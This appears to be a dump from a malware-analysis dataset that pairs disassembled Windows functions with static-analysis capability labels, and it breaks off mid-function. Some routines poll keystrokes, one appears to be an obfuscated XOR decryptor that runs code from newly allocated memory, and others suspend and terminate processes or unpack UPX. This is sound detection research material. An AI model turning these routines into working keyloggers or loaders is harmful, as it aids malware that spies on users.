joyce8/EMBER2024-capa huggingface dataset:
Function at 0x67070302
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x10
mov eax, 0x670911ba
call fcn.6708c20b
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [esi + 4], ebx
lea eax, [esi + 0xc]
mov dword [esi], 0x67096120
mov dword [ebp - 0x10], eax
mov dword [eax], ebx
mov dword [ebp - 4], 3
mov dword [esi + 4], 1
mov dword [ebp - 4], 5
mov dword [esi + 0x14], 0x67097bc0
lea eax, [esi + 0x28]
mov dword [esi + 0x18], 0x67097bc0
lea ecx, [eax + 4]
mov dword [esi + 0x1c], 0x67097c28
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ecx], ebx
mov byte [ebp - 4], 9
mov dword [eax], 0x67097b68
mov byte [ebp - 4], 0xa
lea eax, [esi + 0x30]
mov dword [eax], 0x67097f08
mov dword [ebp - 0x14], eax
mov dword [eax + 4], ebx
mov byte [ebp - 4], 0xc
lea edi, [esi + 0x38]
lea eax, [edi + 4]
push eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], eax
call fcn.670704f8
mov byte [ebp - 4], 0x11
lea eax, [edi + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
add eax, 4
push eax
mov dword [ebp - 0x1c], eax
call fcn.670704f8
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x10]
mov dword [edi], 0x6709778c
mov dword [eax], 0x670977ac
mov byte [ebp - 4], 0x17
lea edi, [esi + 0x50]
lea eax, [edi + 4]
push eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
call fcn.670704f8
mov byte [ebp - 4], 0x1c
lea eax, [edi + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
add eax, 4
push eax
mov dword [ebp - 0x14], eax
call fcn.670704f8
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x10]
mov dword [edi], 0x670977cc
mov dword [eax], 0x670977ec
mov byte [ebp - 4], 0x22
mov dword [esi + 0x68], 0x67097bac
mov dword [esi + 0x6c], 0x67097bac
lea eax, [esi + 0x74]
mov dword [esi + 0x70], 0x67097b4c
mov dword [ebp - 0x1c], eax
mov dword [eax], ebx
mov byte [ebp - 4], 0x25
lea eax, [esi + 0x78]
mov dword [ebp - 0x1c], eax
mov dword [eax], ebx
mov byte [ebp - 4], 0x28
lea eax, [esi + 0x7c]
mov dword [ebp - 0x1c], eax
mov dword [eax], ebx
mov byte [ebp - 4], 0x2b
lea eax, [esi + 0x80]
mov dword [ebp - 0x1c], eax
mov dword [eax], ebx
mov byte [ebp - 4], 0x2e
lea eax, [esi + 0x84]
mov dword [ebp - 0x1c], eax
mov dword [eax], ebx
mov byte [ebp - 4], 0x31
lea eax, [esi + 0x88]
push eax
mov dword [ebp - 0x1c], eax
call fcn.67070298
mov byte [ebp - 4], 0x33
lea eax, [esi + 0x90]
push eax
mov dword [ebp - 0x1c], eax
call fcn.67070298
mov byte [ebp - 4], 0x35
lea eax, [esi + 0x98]
mov dword [ebp - 0x1c], eax
mov dword [eax], ebx
mov byte [ebp - 4], 0x38
fld qword [0x670967c8]
fstp qword [esi + 0xa0]
mov byte [esi + 0xa8], 1
mov byte [esi + 0xa9], bl
mov dword [esi + 0xac], ebx
mov byte [ebp - 4], 0x39
mov dword [esi + 0xb0], ebx
mov byte [ebp - 4], 0x3a
mov dword [esi + 0xb4], ebx
mov byte [ebp - 4], 0x3b
mov dword [esi + 0xb8], ebx
mov byte [ebp - 4], 0x3c
mov byte [esi + 0xbc], 1
mov word [esi + 0xbe], bx
mov byte [esi + 0xc0], 1
mov word [esi + 0xc2], bx
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.6708c2e3
ret 4
Function at 0x6707d9a3
Capabilities:
Log keystrokes via polling

Disassembly:
push 4
mov eax, 0x6709465f
call fcn.6708c23e
mov ebx, ecx
xor esi, esi
mov dword [ebp - 4], esi
mov eax, dword [ebx + 0x1b4]
mov dword [ebx + 0x1bc], eax
mov eax, dword [ebx + 0x1b8]
mov dword [ebx + 0x1c0], eax
xor ecx, ecx
inc ecx
mov dword [edx], ecx
mov eax, dword [ebp + 8]
cmp eax, 0x28
ja 0x6707dae3
je 0x6707dad1
cmp eax, 0x24
ja 0x6707da67
cmp eax, 0x23
jae 0x6707da53
cmp eax, 0x10
je 0x6707da47
cmp eax, 0x11
je 0x6707da3c
cmp eax, 0x20
je 0x6707da20
jbe 0x6707db80
cmp eax, 0x22
ja 0x6707db80
push esi
push dword [ebx + 0x448]
mov esi, ebx
call fcn.67082318
jmp 0x6707db21
push ecx
push ecx
push esi
push esi
push dword [ebx + 0x448]
push dword [ebx + 0x2ec]
mov ecx, ebx
call fcn.67082318
jmp 0x6707db21
or dword [ebx + 0x448], ecx
jmp 0x6707db21
or dword [ebx + 0x448], 2
jmp 0x6707db21
push esi
push eax
mov eax, dword [ebx + 0x448]
mov ecx, ebx
call fcn.67082318
jmp 0x6707db21
mov ecx, eax
sub ecx, 0x25
je 0x6707da78
dec ecx
je 0x6707dad1
dec ecx
jne 0x6707db80
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x6707db21
mov esi, dword [ebx + 0x2ec]
cmp esi, 0xffffffff
je 0x6707db21
lea edi, [ebx + 0x368]
call fcn.67089e80
mov ecx, dword [eax]
cmp byte [ecx + 0x2e], 0
je 0x6707db21
cmp dword [ebp + 8], 0x27
jne 0x6707dabe
cmp byte [ecx + 0x2d], 0
jne 0x6707db21
push 1
jmp 0x6707dbb4
cmp dword [ebp + 8], 0x25
jne 0x6707db21
cmp byte [ecx + 0x2d], 0
je 0x6707db21
push 0
jmp 0x6707dbb4
push esi
push dword [ebx + 0x448]
mov esi, eax
mov eax, ebx
call fcn.67082318
jmp 0x6707db21
cmp eax, 0x6b
ja 0x6707db70
je 0x6707db8f
cmp eax, 0x30
je 0x6707db6d
jbe 0x6707db80
cmp eax, 0x39
jbe 0x6707db5e
cmp eax, 0x60
jbe 0x6707db80
cmp eax, 0x69
jbe 0x6707db51
cmp eax, 0x6a
jne 0x6707db80
cmp dword [ebx + 0x448], esi
jne 0x6707db21
push ecx
mov eax, ebx
call fcn.67082318
mov eax, dword [ebx + 0x1b4]
cmp eax, dword [ebx + 0x1bc]
jne 0x6707db3d
mov eax, dword [ebx + 0x1b8]
cmp eax, dword [ebx + 0x1c0]
je 0x6707db46
push 0
mov ecx, ebx
call fcn.67082318
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x6707dbf2
cmp dword [ebx + 0x448], ecx
jne 0x6707db21
add eax, 0xffffff9f
jmp 0x6707db69
cmp dword [ebx + 0x448], ecx
jne 0x6707db21
add eax, 0xffffffcf
push ecx
push eax
jmp 0x6707dbd1
push ecx
jmp 0x6707dbcf
mov ecx, eax
sub ecx, 0x6d
je 0x6707db84
sub ecx, 0x4e
je 0x6707db84
dec ecx
dec ecx
je 0x6707db84
mov dword [edx], esi
jmp 0x6707db21
cmp eax, 0xbb
mov byte [ebp + 8], 0
jne 0x6707db93
mov byte [ebp + 8], 1
cmp byte [ebx + 0x225], 0
je 0x6707dbbf
lea edi, [ebx + 0x368]
mov esi, dword [ebx + 0x2ec]
call fcn.67089e80
mov eax, dword [eax]
push dword [ebp + 8]
mov ecx, eax
push ebx
call fcn.67086564
jmp 0x6707db21
push dword [ebp + 8]
cmp dword [ebx + 0x448], 2
jne 0x6707db1a
push 0xffffffffffffffff
call fcn.67082318
jmp 0x6707db21
call fcn.6708c2e3
ret 4
Function at 0x67082318
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x67082327
pop dword [ebp - 0x4c]
mov eax, 0xb54dd259
sub eax, 0x4e45af32
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3fc2d
push 0
mov eax, 0x5b688011
sub eax, 0xf45f2fc9
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xe0e14a2
sub ecx, 0xe0dc96e
xor esi, esi
add esi, eax
mov edx, 0xc0381bbc
add edx, 0xa6d3a644
add edx, dword [ebp - 0x4c]
mov ebx, 0xa804a7ab
sub ebx, 0x48c4b605
add dword [ebp - 0x40], ebx
mov edi, dword [edx]
add dword [ebp - 0x18], 0x7f3f51ae
xor edi, ebx
mov dword [esi], edi
xor dword [ebp - 0x24], 0xceea5629
add esi, 4
add edx, 0xf66afcfc
sub edx, 0xf66afcf8
loop 0x67082388
add eax, 0xdee88670
sub eax, 0xdee766cd
mov ebx, eax
add eax, 5
mov ecx, 0x70766611
sub ecx, 0x9706611
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x6708b4bd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x670a9018]
jne 0x6708ba32
repz ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x670a9718], eax
mov dword [0x670a9714], ecx
mov dword [0x670a9710], edx
mov dword [0x670a970c], ebx
mov dword [0x670a9708], esi
mov dword [0x670a9704], edi
mov word [0x670a9730], ss
mov word [0x670a9724], cs
mov word [0x670a9700], ds
mov word [0x670a96fc], es
mov word [0x670a96f8], fs
mov word [0x670a96f4], gs
pushfd
pop dword [0x670a9728]
mov eax, dword [ebp]
mov dword [0x670a971c], eax
mov eax, dword [ebp + 4]
mov dword [0x670a9720], eax
lea eax, [ebp + 8]
mov dword [0x670a972c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x670a9668], 0x10001
mov eax, dword [0x670a9720]
mov dword [0x670a961c], eax
mov dword [0x670a9610], 0xc0000409
mov dword [0x670a9614], 1
mov eax, dword [0x670a9018]
mov dword [ebp - 0x328], eax
mov eax, dword [0x670a901c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x670a9660], eax
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x67095740
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x670a9660], 0
jne 0x6708bb22
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x401360
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd84
xor eax, eax
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4012e4
push 0x80000000
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x4015fb
mov dword [ebp - 0x278], 0x136
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp - 0x13e]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
test eax, eax
jne 0x4015fb
lea ebx, [ebp - 0x13d]
mov al, 0x22
lea edi, [ebx]
mov ecx, 0x136
repne scasb al, byte es:[edi]
sub edi, ebx
push edi
push ebx
lea eax, [ebp - 0x274]
push eax
call sub.KERNEL32.dll_lstrcpynA
push 5
push 0
push 0x401317
lea eax, [ebp - 0x274]
push eax
push 0x401320
push 0
call sub.SHELL32.dll_ShellExecuteA
cmp eax, 0x20
jle 0x4015fb
sub eax, eax
inc eax
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x27c]
leave
ret

Function at 0x401424
Capabilities:
Create process on windows
Suspend thread
Terminate process

Disassembly:
push 0x401260
push 0
call sub.USER32.dll_FindWindowA
test eax, eax
jne 0x401472
call fcn.00401360
dec eax
je 0x401454
push 0x10
push 0x4012d6
push 0x40129b
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x4015fb
push 0x1f4
call sub.KERNEL32.dll_Sleep
push 0x401260
push 0
call sub.USER32.dll_FindWindowA
test eax, eax
je 0x4015fb
mov dword [0x401674], eax
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
pop dword [0x401670]
mov dword [0x401678], 0x10
mov dword [0x40167c], 0x401279
mov dword [0x401680], 0x22
mov dword [0x401684], 0
push 0x401678
push dword [0x401670]
push 0x7414
push dword [0x401674]
call sub.USER32.dll_SendMessageA
mov dword [0x4017b4], 0x4c
mov dword [0x4017c0], 0x401325
push dword [0x401674]
pop dword [0x4017b8]
mov dword [0x4017d0], 0x401800
mov dword [0x4017d4], 0x104
mov dword [0x4017e0], 0x40133a
mov dword [0x4017e8], 0x201804
push 0x4017b4
call sub.comdlg32.dll_GetOpenFileNameA
dec eax
jne 0x4015fb
mov dword [0x401904], 0x44
push 0x401948
push 0x401904
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x401800
call sub.KERNEL32.dll_CreateProcessA
dec eax
je 0x40156a
push 0x10
push 0x4012d6
push 0x40133c
push dword [0x401674]
call sub.USER32.dll_MessageBoxA
jmp 0x4015fb
push 0x3e8
call sub.KERNEL32.dll_Sleep
push dword [0x40194c]
call sub.KERNEL32.dll_SuspendThread
mov dword [0x401688], 0x12c
push dword [0x401950]
pop dword [0x401690]
mov dword [0x401694], 0
mov dword [0x401698], 0
mov dword [0x40168c], 0xf000f
mov dword [0x4017ac], 2
push 0x401688
push dword [0x401670]
push 0x7428
push dword [0x401674]
call sub.USER32.dll_SendMessageA
push 0
push dword [0x401948]
call sub.KERNEL32.dll_TerminateProcess
push dword [0x401948]
call 0x401602
push dword [0x40194c]
call 0x401602
push 0
call sub.KERNEL32.dll_ExitProcess
jmp dword [sym.imp.KERNEL32.dll_CloseHandle]
Function at 0x407af0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
jmp 0x407b0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407b11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407b00
mov eax, 1
add ebx, ebx
jne 0x407b23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407b18
jne 0x407b34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407b18
xor ecx, ecx
sub eax, 3
jb 0x407b48
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x407bba
mov ebp, eax
add ebx, ebx
jne 0x407b53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407b60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x407b84
inc ecx
add ebx, ebx
jne 0x407b70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407b65
jne 0x407b81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407b65
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x407ba4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x407b95
jmp 0x407b06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x407ba4
add edi, ecx
jmp 0x407b06
pop esi
mov edi, esi
mov ecx, 0x2d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x407bc2
cmp byte [edi], 1
jne 0x407bc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x407bc7
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x407c36
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x708c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407bf4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7090]
or eax, eax
je 0x407c30
mov dword [ebx], eax
add ebx, 4
jmp 0x407c11
call dword [esi + 0x70a0]
mov ebp, dword [esi + 0x7094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x407c6a
sub esp, 0xffffff80
jmp 0x401d10
Function at 0x406730
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46803b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045ce0c
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4067b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045aae7
mov eax, dword [eax]
push 0x48b1c0
push eax
call fcn.0044d9f4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045d097
test bl, bl
je 0x4067b2
push 0x48b1c0
lea ecx, [esp + 0xc]
call fcn.0045d427
push 0x48ed20
lea ecx, [esp + 0xc]
call fcn.0045d427
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4067ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045d097
jmp 0x4068b9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x406872
lea edx, [esp + 0x7c]
push 0x48ed1c
push edx
call fcn.0044d9f4
add esp, 8
test eax, eax
je 0x406872
lea eax, [esp + 0x7c]
push 0x48ed18
push eax
call fcn.0044d9f4
add esp, 8
test eax, eax
je 0x406872
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406802
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045d097
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4070b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x407112
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x407120
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4680bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x495578]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x407258
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x407186
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d097
xor eax, eax
jmp 0x4072cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045d1d4
push esi
lea ecx, [esp + 0xc]
call fcn.0045d463
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4072ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.004070b0
test eax, eax
jne 0x4072ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.004070b0
test eax, eax
jne 0x4072ad
lea eax, [esp + 0x14]
push 0x48ed34
push eax
call fcn.0044ea30
mov esi, eax
add esp, 8
test esi, esi
jne 0x40728c
lea ecx, [esp + 0x14]
push 0x48ed30
push ecx
call fcn.0044e9b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40728c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40728f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045d184
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40719e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d097
xor eax, eax
jmp 0x4072cf
mov byte [esi], 0
push 0x48ed2c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045d097
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x417820
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41788e
cmp si, 0x69
ja 0x41788e
add esi, 0xffd0
cmp si, 0x11
je 0x41785e
push 0x11
call edi
test ax, ax
jge 0x41785e
or esi, 0x2000
cmp si, 0x10
je 0x417873
push 0x10
call edi
test ax, ax
jge 0x417873
or esi, 0x4000
cmp si, 0x12
je 0x417888
push 0x12
call edi
test ax, ax
jge 0x417888
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41789b
mov esi, 0xbd
jmp 0x41784f
cmp si, 0x6e
jne 0x4178a8
mov esi, 0xbe
jmp 0x41784f
cmp si, 0x6f
jne 0x417849
mov esi, 0xbf
jmp 0x41784f

Function at 0x418f40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4a5c20]
xor edx, edx
cmp eax, edx
jne 0x418f66
xor eax, eax
mov byte [eax + 0x4a5b20], al
inc eax
cmp eax, 0x100
jl 0x418f4e
mov dword [0x4a5c20], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4a5b20
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x418ff7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x418fca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x418f98
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x419070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4190c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4190aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fb00
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x41fc98
cmp ebp, ebx
jle 0x41fc98
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x41fb5e
dec eax
or eax, 0xfffffff8
inc eax
je 0x41fb65
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x41fb74
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x41fb7b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045cdd8
add esp, 4
cmp eax, ebx
je 0x41fb9c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045cdd8
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x41fc8e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x41fc75
mov al, byte [edx]
cmp al, 0xc0
jbe 0x41fc61
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x41fc56
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x41fc64
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x41fc64
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x41fc00
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
